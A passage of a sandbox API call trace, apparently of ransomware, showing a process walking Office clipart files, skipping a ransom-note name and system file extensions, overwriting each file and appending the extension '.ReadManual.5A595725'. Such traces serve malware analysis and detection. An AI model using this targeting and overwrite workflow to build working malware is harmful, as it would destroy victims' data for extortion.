Office\\CLIPART\\PUB60COR\\J0309705.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.ReadManual.5A595725" [0269.521] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.ReadManual.5A595725") returned 87 [0269.521] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39018977835) returned 1 [0269.521] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg")) returned 0x20 [0269.521] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.522] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19162) returned 1 [0269.522] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ada, lpName=0x0) returned 0x184 [0269.522] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.523] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.523] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.524] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.525] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ada) returned 0x2f0000 [0269.525] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.525] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39019382447) returned 1 [0269.525] CloseHandle (hObject=0x184) returned 1 [0269.525] SetSecurityInfo () returned 0x57 [0269.525] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.525] CloseHandle (hObject=0x194) returned 1 [0269.525] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b95a400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b95a400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309902.WMF", cAlternateFileName="")) returned 1 [0269.525] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0309902.WMF" | out: lpString1="J0309902.WMF") returned="J0309902.WMF" [0269.525] lstrcmpiW (lpString1="J0309902.WMF", lpString2="RecoveryManual.html") returned -1 [0269.525] StrStrIW (lpFirst="J0309902.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.526] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.526] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.526] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" [0269.526] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.ReadManual.5A595725" [0269.526] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.ReadManual.5A595725") returned 87 [0269.526] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39019479279) returned 1 [0269.526] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf")) returned 0x20 [0269.526] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.527] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6656) returned 1 [0269.527] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a00, lpName=0x0) returned 0x184 [0269.527] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.528] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.528] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.529] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.530] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a00) returned 0x2f0000 [0269.530] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.530] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39019859974) returned 1 [0269.530] CloseHandle (hObject=0x184) returned 1 [0269.530] SetSecurityInfo () returned 0x57 [0269.530] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.530] CloseHandle (hObject=0x194) returned 1 [0269.530] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc6d100, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5cc6d100, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309904.WMF", cAlternateFileName="")) returned 1 [0269.530] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0309904.WMF" | out: lpString1="J0309904.WMF") returned="J0309904.WMF" [0269.530] lstrcmpiW (lpString1="J0309904.WMF", lpString2="RecoveryManual.html") returned -1 [0269.530] StrStrIW (lpFirst="J0309904.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.530] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.530] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.530] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.530] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.530] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.530] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.530] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.530] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.531] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.531] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.531] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.531] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.531] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.531] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.531] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" [0269.531] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.ReadManual.5A595725" [0269.531] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.ReadManual.5A595725") returned 87 [0269.531] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39019956412) returned 1 [0269.531] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf")) returned 0x20 [0269.531] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.531] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8420) returned 1 [0269.531] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20e4, lpName=0x0) returned 0x184 [0269.531] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.532] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.532] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.534] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.534] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20e4) returned 0x2f0000 [0269.535] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.535] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39020352392) returned 1 [0269.535] CloseHandle (hObject=0x184) returned 1 [0269.535] SetSecurityInfo () returned 0x57 [0269.535] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.535] CloseHandle (hObject=0x194) returned 1 [0269.535] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea87400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ea87400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x2b38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309920.WMF", cAlternateFileName="")) returned 1 [0269.535] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0309920.WMF" | out: lpString1="J0309920.WMF") returned="J0309920.WMF" [0269.535] lstrcmpiW (lpString1="J0309920.WMF", lpString2="RecoveryManual.html") returned -1 [0269.535] StrStrIW (lpFirst="J0309920.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.535] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.535] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.535] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.535] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.535] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.535] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.535] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.535] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.535] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.535] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.536] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.536] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.536] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.536] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.536] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" [0269.536] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.ReadManual.5A595725" [0269.536] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.ReadManual.5A595725") returned 87 [0269.536] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39020449278) returned 1 [0269.536] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf")) returned 0x20 [0269.536] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.536] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11064) returned 1 [0269.536] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b38, lpName=0x0) returned 0x184 [0269.536] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.537] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.537] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.539] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.539] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b38) returned 0x2f0000 [0269.540] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.540] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39020847328) returned 1 [0269.540] CloseHandle (hObject=0x184) returned 1 [0269.540] SetSecurityInfo () returned 0x57 [0269.540] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.540] CloseHandle (hObject=0x194) returned 1 [0269.540] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a03b100, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a03b100, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x911a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0313896.JPG", cAlternateFileName="")) returned 1 [0269.540] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0313896.JPG" | out: lpString1="J0313896.JPG") returned="J0313896.JPG" [0269.540] lstrcmpiW (lpString1="J0313896.JPG", lpString2="RecoveryManual.html") returned -1 [0269.540] StrStrIW (lpFirst="J0313896.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.540] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.540] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.540] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.540] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.540] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.540] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.540] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.540] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.540] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.540] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.540] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.540] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.540] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.541] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.541] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" [0269.541] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.ReadManual.5A595725" [0269.541] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.ReadManual.5A595725") returned 87 [0269.541] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39020944271) returned 1 [0269.541] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg")) returned 0x20 [0269.541] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.542] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=37146) returned 1 [0269.542] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x911a, lpName=0x0) returned 0x184 [0269.542] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.543] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.543] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.545] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.545] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x911a) returned 0x2f0000 [0269.546] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.546] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39021509088) returned 1 [0269.546] CloseHandle (hObject=0x184) returned 1 [0269.546] SetSecurityInfo () returned 0x57 [0269.547] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.547] CloseHandle (hObject=0x194) returned 1 [0269.547] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x717bb700, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x717bb700, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xa75a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0313965.JPG", cAlternateFileName="")) returned 1 [0269.547] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0313965.JPG" | out: lpString1="J0313965.JPG") returned="J0313965.JPG" [0269.547] lstrcmpiW (lpString1="J0313965.JPG", lpString2="RecoveryManual.html") returned -1 [0269.547] StrStrIW (lpFirst="J0313965.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.547] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.547] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.547] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.547] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.547] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.547] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.547] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.547] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.547] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.547] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.547] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.547] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.547] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.547] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.547] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" [0269.547] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.ReadManual.5A595725" [0269.547] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.ReadManual.5A595725") returned 87 [0269.547] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39021609941) returned 1 [0269.547] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg")) returned 0x20 [0269.548] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.548] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42842) returned 1 [0269.548] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa75a, lpName=0x0) returned 0x184 [0269.548] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.549] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | 